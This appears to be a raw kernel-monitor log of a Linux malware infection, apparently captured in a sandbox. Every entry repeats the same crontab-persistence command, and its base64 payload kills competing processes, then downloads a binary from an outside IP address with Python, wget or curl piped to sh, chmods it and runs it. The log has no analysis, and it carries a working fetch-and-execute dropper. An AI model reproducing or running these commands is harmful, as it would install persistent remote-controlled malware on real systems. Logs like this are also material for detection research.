Y4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [wjow][PPID:0x2d1] [wjow][PID:0x3fd] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x3c0] [sh][PID:0x3fe] filp_close. File: \"/dev/null\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x368] [crontab][PID:0x386] do_filp_open. Filename: \"/etc/passwd\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [wjow][PPID:0x2d1] [wjow][PID:0x409] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [utnb][PPID:0x2de] [sh][PID:0x3c6] filp_close. File: \"pipe:[12457]\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x3a9] [crontab][PID:0x3e5] filp_close. File: \"/lib/x86_64-linux-gnu/libc-2.19.so\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x378] [crontab][PID:0x39c] filp_close. File: \"/lib/x86_64-linux-gnu/libnss_files-2.19.so\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x38d] [crontab][PID:0x3b8] sock_create. Domain: 0x
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [iicu][PPID:0x2c9] [iicu][PID:0x412] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [keyd][PPID:0x2f1] [keyd][PID:0x416] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x38b] [crontab][PID:0x3c3] vfs_getattr. path: \"/usr/lib/locale/locale-archive\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x35f] [crontab][PID:0x381] filp_close. File: \"/lib/x86_64-linux-gnu/libnss_files-2.19.so\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [iicu][PPID:0x2c9] [iicu][PID:0x41d] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x350] [crontab][PID:0x367] do_filp_open. Filename: \"/usr/share/locale/locale.alias\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [wjow][PPID:0x2d1] [wjow][PID:0x424] do_execve. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x3da] [sh][PID:0x421] filp_close. File: \"pipe:[12494]\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x3a1] [crontab][PID:0x3d7] vfs_read. File: \"/proc/filesystems\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTt